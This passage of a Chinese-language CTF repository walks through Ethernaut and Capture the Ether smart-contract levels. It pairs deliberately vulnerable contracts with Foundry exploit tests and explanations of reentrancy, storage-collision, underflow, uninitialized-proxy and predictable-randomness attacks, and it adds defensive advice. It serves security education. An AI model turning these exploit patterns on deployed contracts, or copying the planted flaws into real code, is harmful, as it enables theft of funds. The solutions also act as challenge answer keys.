///@return deployedAddress - The address that the contract was deployed to 13 | function deployContract(string memory path) public payable returns (address) { 14 | string memory bashCommand = 15 | string.concat('cast abi-encode "f(bytes)" $(solc ', string.concat(path, " --bin --optimize | tail -1)")); 16 | 17 | string[] memory inputs = new string[](3); 18 | inputs[0] = "bash"; 19 | inputs[1] = "-c"; 20 | inputs[2] = bashCommand; 21 | 22 | bytes memory bytecode = abi.decode(vm.ffi(inputs), (bytes)); 23 | 24 | ///@notice deploy the bytecode with the create instruction 25 | address deployedAddress; 26 | uint256 value = msg.value; 27 | assembly { 28 | deployedAddress := create(value, add(bytecode, 0x20), mload(bytecode)) 29 | } 30 | 31 | ///@notice check that the deployment was successful 32 | require(deployedAddress != address(0), "YulDeployer could not deploy contract"); 33 | 34 | ///@notice return the address that the contract was deployed to 35 | return deployedAddress; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/Puzzle_Wallet/README.md: -------------------------------------------------------------------------------- 1 | # Puzzle Wallet 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x725595BA16E76ED1F6cC1e1b65A88365cC494824) 6 | 7 | 获取PuzzleProxy的admin权限 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Puzzle_Wallet -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 项目采用可升级架构,使用代理调整来实现附加的功能。`PuzzleWallet`合约中的函数调用,都通过`PuzzleProxy合约`的`fallback`和`receive`函数进行了代理调用。 22 | 23 | 因为是代理调用,**每次调用函数(call)所使用的调用量变化量都是`PuzzleProxy`合约插槽中的数据。**`PuzzleProxy`合约插槽0中有`pendingAdmin`(地址占20字节)变量。目标是让我们的账户地址成为`PuzzleProxy`合约的`admin`。也就是说要修改`PuzzleProxy`合约插槽1中的数据。 24 | 25 | 但`PuzzleProxy`合约中可以修改插槽1中的数据的操作,有`constructor`构造函数和`approveNewAdmin`函数,构造函数不能重新使用。`approveNewAdmin`函数只能账户`admin`才能调整使用。 26 | 27 | 而`PuzzleWallet`合约中有可以改变插槽1中的数据的操作(即改变`maxBalance`改变量(uint256占32位)的值)。有构造函数和`setMaxBalance`函数,构造参数不能重新使用。`setMaxBalance`两个限制,一个是合约地址的ETH余额为0,另外一个是调用地址是白名单用户。 28 | 29 | 1. 让`PuzzleProxy合约`ETH余额变为0。初始状态下`PuzzleProxy合约`下有0.001个ETH。合约中可以转移ETH操作只有`execute`函数。而`execute`函数提取ETH时要求我们在合约中的余额大于等于本次提取的余额。但合约提供了函数`multicall`,允许我们可以一次笔交易调用多次,在多次调使用中的`msg.value`是不变的,从而可以达到只转一次钱,但合约中我们的余额增加多次。重入攻击。但`multicall`函数中不允许我们多次调用`deposit`函数,可`multicall`函数并没有限制多次使用`multicall`函数进行重入。多次调用`multicall`函数从达到多次调用`deposit`函数的效果。然后调用`execute函数`将合约中所有eth提走。 30 | 2. 让我们的账号成为白名单用户。只能通过`addToWhitelist`函数,但这个函数只能由owner账号地址调用。owner变量存储在插槽0中,可以通过`PuzzleProxy`合约的`proposeNewAdmin`函数,让我们的账户地址存储在插槽0中,插槽0中的数据在`PuzzleProxy`合约中是`pendingAdmin`变量,在`PuzzleWallet`合约中是`owner`变量。从而我们的账户地址就变成了`PuzzleWallet`合约的`owner`。可以调用`addToWhitelist`函数。 31 | 32 | 使用代理合约时,必须注意不要引入存储冲突,如本关卡所示。 33 | 34 | -------------------------------------------------------------------------------- /src/Ethernaut/Dex_Two/DexTwoFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "../base/Level.sol"; 6 | import "./DexTwo.sol"; 7 | import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; 8 | 9 | contract DexTwoFactory is Level { 10 | function createInstance(address _player) public payable override returns (address) { 11 | DexTwo instance = new DexTwo(); 12 | address instanceAddress = address(instance); 13 | 14 | SwappableTokenTwo tokenInstance = new SwappableTokenTwo(instanceAddress, "Token 1", "TKN1", 110); 15 | SwappableTokenTwo tokenInstanceTwo = new SwappableTokenTwo(instanceAddress, "Token 2", "TKN2", 110); 16 | 17 | address tokenInstanceAddress = address(tokenInstance); 18 | address tokenInstanceTwoAddress = address(tokenInstanceTwo); 19 | 20 | instance.setTokens(tokenInstanceAddress, tokenInstanceTwoAddress); 21 | 22 | tokenInstance.approve(instanceAddress, 100); 23 | tokenInstanceTwo.approve(instanceAddress, 100); 24 | 25 | instance.add_liquidity(tokenInstanceAddress, 100); 26 | instance.add_liquidity(tokenInstanceTwoAddress, 100); 27 | 28 | tokenInstance.transfer(_player, 10); 29 | tokenInstanceTwo.transfer(_player, 10); 30 | 31 | return instanceAddress; 32 | } 33 | 34 | function validateInstance(address payable _instance, address) public view override returns (bool) { 35 | address token1 = DexTwo(_instance).token1(); 36 | address token2 = DexTwo(_instance).token2(); 37 | return IERC20(token1).balanceOf(_instance) == 0 && ERC20(token2).balanceOf(_instance) == 0; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_new_number/README.md: -------------------------------------------------------------------------------- 1 | # Guess the new number 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/lotteries/guess-the-new-number/) 6 | 7 | 原题目要求 GuessTheNewNumberChallenge 合约的 ether 余额为 0。而调用 guess 并输入答案,如果答案等于使用 blockhash 以及 timestamp 通过 hash 生成的数,即可转移 2 ether 出去。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Lotteries/Guess_the_new_number -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 在 GuessTheNewNumberChallenge 合约中,answer 的构造使用了当前链上的状态,包括前一个区块的 hash 以及当前 timestamp。既然answer 的构造规则是公开的,我们可以部署一个新合约 Attacker,使用新合约来计算 answer 并调用 guess,这样因为在这笔跨合约调用的 transaction 中,两个合约的环境变量 block hash 和 timestamp 都是相同的,因此能够得到相同的 answer。 26 | 27 | 这个是 Attacker 合约中 attack 的逻辑,我们先检查 msg.sender,防止被 MEV 黑吃黑了,然后我们调用 attack 时需要携带 1 ether,然后我们构造出 answer,并按照要求调用 GuessTheNewNumberChallenge 合约的 guess,然后通过 challenge.isComplete() 检查是否挑战成功,这样即使挑战失败,也不会损失 ether,最后将得到的余额返回给自己。 28 | 29 | ```solidity 30 | function attack(address _challenge) public payable { 31 | if (msg.sender != owner) revert NotOwner(); 32 | if (msg.value != 1 ether) revert ValueErr(); 33 | 34 | IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_challenge); 35 | uint8 answer = uint8(uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))); 36 | challenge.guess{value: 1 ether}(answer); 37 | 38 | if (!challenge.isComplete()) revert GuessErr(); 39 | 40 | payable(msg.sender).transfer(address(this).balance); 41 | } 42 | ``` 43 | -------------------------------------------------------------------------------- /src/Ethernaut/Hello_Ethernaut/Instance.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Instance { 5 | string public password; 6 | uint8 public infoNum = 42; 7 | string public theMethodName = "The method name is method7123949."; 8 | bool private cleared = false; 9 | 10 | // constructor 11 | constructor(string memory _password) { 12 | password = _password; 13 | } 14 | 15 | function info() public pure returns (string memory) { 16 | return "You will find what you need in info1()."; 17 | } 18 | 19 | function info1() public pure returns (string memory) { 20 | return 'Try info2(), but with "hello" as a parameter.'; 21 | } 22 | 23 | function info2(string memory param) public pure returns (string memory) { 24 | if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) { 25 | return "The property infoNum holds the number of the next info method to call."; 26 | } 27 | return "Wrong parameter."; 28 | } 29 | 30 | function info42() public pure returns (string memory) { 31 | return "theMethodName is the name of the next method."; 32 | } 33 | 34 | function method7123949() public pure returns (string memory) { 35 | return "If you know the password, submit it to authenticate()."; 36 | } 37 | 38 | function authenticate(string memory passkey) public { 39 | if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { 40 | cleared = true; 41 | } 42 | } 43 | 44 | function getCleared() public view returns (bool) { 45 | return cleared; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Token_whale/README.md: -------------------------------------------------------------------------------- 1 | # Token whale 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/math/token-whale/) 6 | 7 | 原题目要求 TokenWhaleChallenge 合约里的 player 的 token 余额大于 1000000。最开始的时候会给 player 1000 初始 token 余额。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Math/Token_sale -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 在原题 `^0.4.21` 版本下,所有的算术操作都是 unchecked,因此为了能够复现这个 Challenge,我给 _transfer 里面的某一行增加了 unchecked。 26 | 27 | TokenWhaleChallenge 的合约不符合 ERC20 标准(没有返回 bool),只是使用了类似的接口。 28 | 29 | TokenWhaleChallenge 里面的 _transfer() 函数实现有问题: 30 | 31 | ```solidity 32 | function _transfer(address to, uint256 value) internal { 33 | unchecked { 34 | balanceOf[msg.sender] -= value; 35 | } 36 | balanceOf[to] += value; 37 | emit Transfer(msg.sender, to, value); 38 | } 39 | ``` 40 | 41 | 1. 内部/私有函数不应该使用 `msg.sender` 等这样的全局变量,最好使用参数传进来。这导致 `transferFrom` 并不是从 from 而是从 msg.sender 里面扣除余额。 42 | 2. 没有进行 Math 操作的检查。 43 | 44 | 解决思路是,player(alice)和她的同伙(bob)一起操作: 45 | 1. bob approve alice 1 token 46 | 2. alice 将她的所有余额转移给 bob 47 | 3. alice 调用 `transferFrom(bob, address(0), 1)`,这时 bob 的余额大于等于 1;`allowance[bob][alice] >= 1`,接着会执行 `_transfer(to, value)`,将 alice 的余额减 1,实现下溢出。 48 | 49 | ```solidity 50 | vm.startPrank(bob); 51 | tokenWhaleChallenge.approve(alice, 1); 52 | vm.stopPrank(); 53 | 54 | vm.startPrank(alice); 55 | tokenWhaleChallenge.transfer(bob, 1000); 56 | tokenWhaleChallenge.transferFrom(bob, address(0), 1); 57 | vm.stopPrank(); 58 | ``` -------------------------------------------------------------------------------- /src/Ethernaut/Motorbike/README.md: -------------------------------------------------------------------------------- 1 | # Motorbike 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x3A78EE8462BD2e31133de2B8f1f9CBD973D6eDd6) 6 | 7 | `Motorbike`合约使用代理调用`Engine`合约的逻辑,我们使用`Engine`合约中的逻辑时,将函数调用发送到`Motorbike`合约中,`Motorbike`合约再代理调用`Engine`合约。目标是销毁`Engine`合约,使`Motorbike`合约失效(无法代理调用)。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Motorbike -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | `Engine`合约并没有`selfdestruct`方法,无法销毁合约。但是`Motorbike`合约在初始化`Engine`合约时,使用的是代理调用,并没有直接合约间调用。也就是说,`Engine`合约并没有初始化。我们只要找到实际的`Engine`合约地址,并将它初始化, 22 | 23 | ``` 24 | engine = address(uint160(uint256(vm.load(motorbike, _IMPLEMENTATION_SLOT)))); 25 | ``` 26 | 27 | 将`upgrader`变量赋值为我的地址, 28 | 29 | ``` 30 | Engine(engine).initialize(); 31 | ``` 32 | 33 | 然后再调用`upgradeToAndCall`函数 34 | 35 | ```solidity 36 | Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); 37 | 38 | //function done() public { 39 | // selfdestruct(address(0)); 40 | //} 41 | ``` 42 | 43 | 让`Engine`合约代理调用`selfdestruct`方法。即可完成目标。 44 | 45 | 46 | 47 | 合约在使用代理时,一定要注意`implementation合约`也进行了必要的初始化,以防止额外的事故发生。 48 | 49 | 比如在`implementation合约`的构造函数中使用`_disableInitializers()`,[链接](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/utils/Initializable.sol#L145) 50 | 51 | 或者在`implementation合约`的函数中使用`onlyDelegateCall函数修饰器`,以保证implementation合约中的函数不会被call。 52 | 53 | ```solidity 54 | address immutable original; 55 | 56 | constructor() { 57 | original = address(this); 58 | } 59 | 60 | modifier onlyDelegateCall() { 61 | require(address(this) != original); 62 | _; 63 | } 64 | ``` 65 | 66 | -------------------------------------------------------------------------------- /src/Ethernaut/Hello_Ethernaut/Instance.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./InstanceFactory.sol"; 6 | 7 | contract InstanceTest is Test { 8 | InstanceFactory factory; 9 | 10 | function setUp() public { 11 | factory = new InstanceFactory(); 12 | } 13 | 14 | function testInstance() public { 15 | address instance = factory.createInstance(address(this)); 16 | 17 | string memory info = Instance(instance).info(); 18 | assertEq(info, "You will find what you need in info1()."); 19 | 20 | string memory info1 = Instance(instance).info1(); 21 | assertEq(info1, 'Try info2(), but with "hello" as a parameter.'); 22 | 23 | string memory info2 = Instance(instance).info2("hello"); 24 | assertEq(info2, "The property infoNum holds the number of the next info method to call."); 25 | 26 | uint8 infoNum = Instance(instance).infoNum(); 27 | assertEq(infoNum, 42); 28 | 29 | string memory info42 = Instance(instance).info42(); 30 | assertEq(info42, "theMethodName is the name of the next method."); 31 | 32 | string memory theMethodName = Instance(instance).theMethodName(); 33 | assertEq(theMethodName, "The method name is method7123949."); 34 | 35 | string memory method7123949 = Instance(instance).method7123949(); 36 | assertEq(method7123949, "If you know the password, submit it to authenticate()."); 37 | 38 | string memory password = Instance(instance).password(); 39 | assertEq(password, "ethernaut0"); 40 | 41 | Instance(instance).authenticate(password); 42 | 43 | assertTrue(factory.validateInstance(payable(instance), address(this))); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/Ethernaut/Shop/README.md: -------------------------------------------------------------------------------- 1 | # Shop 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x691eeA9286124c043B82997201E805646b76351a) 6 | 7 | 以低于要求的价格从商店买到商品. 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Shop -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 只要两次调用price的结果不同即可。view函数不能修改变量,只能读取变量。但如果某一变量进行了改变,view函数是不会检查的 22 | 23 | ```solidity 24 | function buy() public { 25 | Buyer _buyer = Buyer(msg.sender); 26 | 27 | if (_buyer.price() >= price && !isSold) { 28 | isSold = true; 29 | price = _buyer.price(); 30 | } 31 | } 32 | ``` 33 | 34 | `Shop合约`的`buy函数`在两次`price()`调用中改变了`isSold`的值,所以我们可以通过`isSold`的具体值而返回不同的价格以使用更低的价格购买。 35 | 36 | ```solidity 37 | function price() external view returns (uint256) { 38 | if (Shop(shop).isSold()) { 39 | return 0; 40 | } else { 41 | return 200; 42 | } 43 | } 44 | ``` 45 | 46 | 那如果将`Shop合约`的`buy函数`修改为这样,如何进行攻击? 47 | 48 | ```solidity 49 | function buy() public { 50 | Buyer _buyer = Buyer(msg.sender); 51 | 52 | if (_buyer.price() >= price && !isSold) { 53 | price = _buyer.price(); 54 | isSold = true; 55 | } 56 | } 57 | ``` 58 | 59 | sload操作码会根据插槽的冷暖收取不同的gas值。 60 | 61 | > If the accessed address is warm, the dynamic cost is 100. Otherwise the dynamic cost is 2100. See section [access sets](https://www.evm.codes/about). 62 | 63 | 如果在一次交易中读取了同一个storage变量,第二次读取时所消耗的gas费用会更低。 64 | 65 | 所以,可以在view函数中读取一个storage变量,根据gas消耗的差值来判断是否是第一次调用。 66 | 67 | ```solidity 68 | function price() external view returns (uint256) { 69 | uint256 gasleftBefore = gasleft(); 70 | justcostGas + 1; 71 | if (gasleftBefore - gasleft() >= 2000) { 72 | return 200; 73 | } else { 74 | return 0; 75 | } 76 | } 77 | ``` 78 | 79 | -------------------------------------------------------------------------------- /src/Ethernaut/Re-entrancy/README.md: -------------------------------------------------------------------------------- 1 | # Re-entrancy 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x2a24869323C0B13Dff24E196Ba072dC790D52479) 6 | 7 | 这一关的目标是偷走合约的所有资产. 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Re-entrancy -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 合约中的提取withdraw函数可以进行重入攻击。函数逻辑中先进行转账后调整余额。合约收到余额后触发receive函数后可以再进行withdraw。此为重入攻击。 22 | 23 | ```solidity 24 | receive() external payable { 25 | Reentrance(payable(reentrance)).withdraw(amount); 26 | } 27 | ``` 28 | 29 | 为了防止转移资产时的重入攻击, 使用 [Checks-Effects-Interactions pattern](https://solidity.readthedocs.io/en/develop/security-considerations.html#use-the-checks-effects-interactions-pattern) 注意 `call` 只会返回 false 而不中断执行流. 其它方案比如 [ReentrancyGuard](https://docs.openzeppelin.com/contracts/2.x/api/utils#ReentrancyGuard) 或 [PullPayment](https://docs.openzeppelin.com/contracts/2.x/api/payment#PullPayment) 也可以使用. 30 | 31 | `transfer` 和 `send` 不再被推荐使用, 因为他们在 Istanbul 硬分叉之后可能破坏合约 [Source 1](https://diligence.consensys.net/blog/2019/09/stop-using-soliditys-transfer-now/) [Source 2](https://forum.openzeppelin.com/t/reentrancy-after-istanbul/1742). 32 | 33 | 总是假设资产的接受方可能是另一个合约, 而不是一个普通的地址. 因此, 他有可能执行了他的payable fallback 之后又“重新进入” 你的合约, 这可能会打乱你的状态或是逻辑. 34 | 35 | 重进入是一种常见的攻击. 你得随时准备好! 36 | 37 | #### The DAO Hack 38 | 39 | 著名的DAO hack 使用了重进入攻击, 窃取了受害者大量的 ether. 参见 [15 lines of code that could have prevented TheDAO Hack](https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942). 40 | 41 | 但是,此题目的solidity版本是0.6.0。可是在0.8.0之后,solidity引入了SafeMath数值溢出检查。如果Reentrance合约将版本切换为0.8.0后,还能进行重入攻击吗?读者可以自己去验证下,验证后可以阅读这篇[推文](https://twitter.com/real_philogy/status/1645404402205728770)。 -------------------------------------------------------------------------------- /src/Ethernaut/Alien_Codex/README.md: -------------------------------------------------------------------------------- 1 | # Alien Codex 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x27bC920e7C426500a0e7D63Bb037800A7288abC1) 6 | 7 | 获取Alien 合约的owner所有权 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Alien_Codex -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | solidity在v0.6.0+commit.26b70077版本前,允许变长数组的长度属性被程序员修改。 22 | 23 | 所以如果我们将一个长度为0的变长数组的长度减一,就会触发内存溢出,将长度从零变为115792089237316195423570985008687907853269984665640564039457584007913129639935 = 2^256-1。 24 | 25 | 而solidty的内存插槽一共有 2^256 个(每个插槽有256bits = 32bytes),这样如果这个数组的类型为bytes32类型,那么就意味着,该变长数组可以访问和修改所有数据。 26 | 27 | 只要我们知道了特定变量的数据所在插槽,就可以修改该变量,比如将owner修改。 28 | 29 | 不过在v0.6.0+commit.26b70077版本开始,变长数组的长度属性已经变为只读变量。不能修改了。如果尝试修改就会出现如下错误: 30 | 31 | ``` 32 | TypeError: Member "length" is read-only and cannot be used to resize arrays. 33 | ``` 34 | 35 | 首先,查看合约中owner变量存储在哪个插槽,合约一共有3个变量。 36 | 37 | ```solidity 38 | address private _owner;// address 占20字节,在插槽slot0中,此时插槽slot0还剩10字节 39 | bool public contact;// bool 占1个字节,在插槽slot0中,此时插槽slot0还剩9字节 40 | bytes32[] public codex;// bytes32 占32字节,插槽slot0中不够存储,所以codex变量存储在插槽slot1中。 41 | ``` 42 | 43 | 不过插槽slot1中存储的是,变长数组codex的长度属性,即codex.length。codex的第一个数据(codex[0])存储在插槽下标为 44 | 45 | keccak256(byte32(1)) = 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6(此时应该把这个看作数字而不是字符串)的插槽中。所以我们只需找到插槽slot0属于变长数组的第几个元素(即找到slot0在数组codex的下标是多少)。 46 | 47 | 一共2^256个插槽,插槽下标从0开始。插槽编号 [0 ~ 2^256) 半闭半开。所以slot0在codex的下标为 48 | 49 | ``` 50 | 2^256 - 1 + 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1 51 | ``` 52 | 53 | 等于 54 | 55 | ``` 56 | 35707666377435648211887908874984608119992236509074197713628505308453184860938 57 | ``` 58 | 59 | 覆盖slot0中内容,将owner变成自己的账号 -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_future/README.md: -------------------------------------------------------------------------------- 1 | # Predict the future 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/lotteries/predict-the-future/) 6 | 7 | 原题目要求 PredictTheFutureChallenge 合约的 ether 余额为 0。参与过程分成两步,第一步时锁定答案,第二步揭示答案。如果锁定的答案等于当前揭示答案是用 blockhash 以及 timestamp 通过 hash 生成的数,即可转移 2 ether 出去。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Lotteries/Predict_the_future -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 在 PredictTheFutureChallenge 合约中,锁定猜测 lockInGuess 和揭示答案 settle 分成了两步,并且要求 settle 的调用需要在 lockInGuess 两个区块之后。settle 如果执行成功,guesser 会被置为 address(0),这样就无法再次调用 settle。 26 | 27 | 解决思路是,我们确实需要老老实实调用 lockInGuess 并转入一个 ether。但是在调用 settle 的时候,如果我们的 answer 不正确,我们需要能够 revert 这个 transaction,这样 guesser 不会被置为 address(0),然后我们可以再次调用 settle,这样一直执行下去直到 answer 等于 guess。而且因为 answer 的空间是 0 - 10,每次尝试有 1/10 的成功概率,是具有可能性的。 28 | 29 | Attacker 合约中,lockInGuess,我们先调用 PredictTheFutureChallenge 的 lockInGuess,设置一个空间内的数,比如 6。然后过了两个块后,我们可以调用 Attacker 的 attack,如果挑战失败,revert 整个 transaction。然后再次尝试,直到成功后将所有的余额发送到 balance。 30 | 31 | ```solidity 32 | function lockInGuess(uint8 n) external payable { 33 | if (msg.sender != owner) revert NotOwner(); 34 | if (address(this).balance < 1 ether) revert ValueErr(); 35 | 36 | challenge.lockInGuess{value: 1 ether}(n); 37 | } 38 | 39 | function attack() external { 40 | if (msg.sender != owner) revert NotOwner(); 41 | 42 | challenge.settle(); 43 | 44 | // if we guessed wrong, revert 45 | if (!challenge.isComplete()) revert GuessErr(); 46 | // return all of it to EOA 47 | payable(tx.origin).transfer(address(this).balance); 48 | } 49 | ``` 50 | -------------------------------------------------------------------------------- /src/Ethernaut/Stake/Stake.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Stake { 5 | uint256 public totalStaked; 6 | mapping(address => uint256) public UserStake; 7 | mapping(address => bool) public Stakers; 8 | address public WETH; 9 | 10 | constructor(address _weth) payable { 11 | totalStaked += msg.value; 12 | WETH = _weth; 13 | } 14 | 15 | function StakeETH() public payable { 16 | require(msg.value > 0.001 ether, "Don't be cheap"); 17 | totalStaked += msg.value; 18 | UserStake[msg.sender] += msg.value; 19 | Stakers[msg.sender] = true; 20 | } 21 | 22 | function StakeWETH(uint256 amount) public returns (bool) { 23 | require(amount > 0.001 ether, "Don't be cheap"); 24 | (, bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this))); 25 | require(bytesToUint(allowance) >= amount, "How am I moving the funds honey?"); 26 | totalStaked += amount; 27 | UserStake[msg.sender] += amount; 28 | (bool transfered,) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender, address(this), amount)); 29 | Stakers[msg.sender] = true; 30 | return transfered; 31 | } 32 | 33 | function Unstake(uint256 amount) public returns (bool) { 34 | require(UserStake[msg.sender] >= amount, "Don't be greedy"); 35 | UserStake[msg.sender] -= amount; 36 | totalStaked -= amount; 37 | (bool success,) = payable(msg.sender).call{value: amount}(""); 38 | return success; 39 | } 40 | 41 | function bytesToUint(bytes memory data) internal pure returns (uint256) { 42 | require(data.length >= 32, "Data length must be at least 32 bytes"); 43 | uint256 result; 44 | assembly { 45 | result := mload(add(data, 0x20)) 46 | } 47 | return result; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/Ethernaut/Vault/README.md: -------------------------------------------------------------------------------- 1 | # Vault 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xB7257D8Ba61BD1b3Fb7249DCd9330a023a5F3670) 6 | 7 | 解锁 vault 来通过这一关! 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Vault -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 要解锁Vault合约,需要我们输入一个password,这个password需要与合约创建时传入password一致。可合约的password是一个私有变量,在合约abi([WTF Solidity极简入门: 27. ABI编码解码](https://github.com/AmazingAng/WTF-Solidity/tree/main/27_ABIEncode))中被没有方法进行读取。 22 | 23 | 但一个变量设制成私有, 只能保证不让别的合约访问他. 但链上数据是公开的,我们可以读取合约中所有插槽的数据。(对于存储中的状态变量储存结构可以阅读solidity的[官方文档](https://docs.soliditylang.org/zh/latest/internals/layout_in_storage.html))。 24 | 25 | Vault合约中的password存储在插槽1中,所以我们可以插槽1中的数据获取password的值。使用Foundry的cheatcode读取插槽数据 26 | 27 | ```solidity 28 | bytes32 password = vm.load(vault, bytes32(uint256(1))) 29 | ``` 30 | 31 | 我们也可以通过Foundry中的cast工具读取链上任意合约任意插槽的数据。 32 | 33 | ```sh 34 | $ cast storage -h 35 | Get the raw value of a contract's storage slot. 36 | 37 | Usage: cast storage [OPTIONS]
[SLOT] 38 | 39 | Arguments: 40 |
The contract address 41 | [SLOT] The storage slot number 42 | 43 | Options: 44 | -B, --block The block height you want to query at 45 | -r, --rpc-url The RPC endpoint [env: ETH_RPC_URL=] 46 | --flashbots Use the Flashbots RPC URL (https://rpc.flashbots.net) 47 | -e, --etherscan-api-key The Etherscan (or equivalent) API key [env: ETHERSCAN_API_KEY=] 48 | -c, --chain The chain name or EIP-155 chain ID [env: CHAIN=] 49 | -h, --help Print help (see more with '--help') 50 | ``` 51 | 52 | 为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. 53 | 54 | 另外 [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数. -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Donation/DonationChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "src/utils/BytesDeployer.sol"; 6 | 7 | interface IDonationChallenge { 8 | function donate(uint256) external payable; 9 | function withdraw() external; 10 | function owner() external view returns (address); 11 | function isComplete() external view returns (bool); 12 | } 13 | 14 | contract DonationChallengeTest is Test { 15 | IDonationChallenge public donationChallenge; 16 | address hacker = makeAddr("hacker"); 17 | 18 | function setUp() public { 19 | Deployer deployer = new Deployer(); 20 | donationChallenge = IDonationChallenge( 21 | deployer.deployContract{value: 1 ether}("src/Capture_the_Ether/Math/Donation/DonationChallenge.sol") 22 | ); 23 | } 24 | 25 | function testDonation() public { 26 | uint256 amount = uint256(uint160(hacker)); 27 | uint256 val = amount / (10 ** 18 * 1 ether); 28 | payable(hacker).transfer(val); 29 | 30 | emit log_named_address("donationChallenge's owner", donationChallenge.owner()); 31 | emit log_named_uint("donationChallenge's balance", address(donationChallenge).balance); 32 | emit log_named_uint("hacker's balance", hacker.balance); 33 | 34 | vm.startPrank(hacker); 35 | donationChallenge.donate{value: val}(amount); 36 | emit log_named_address("after hack, donationChallenge's owner", 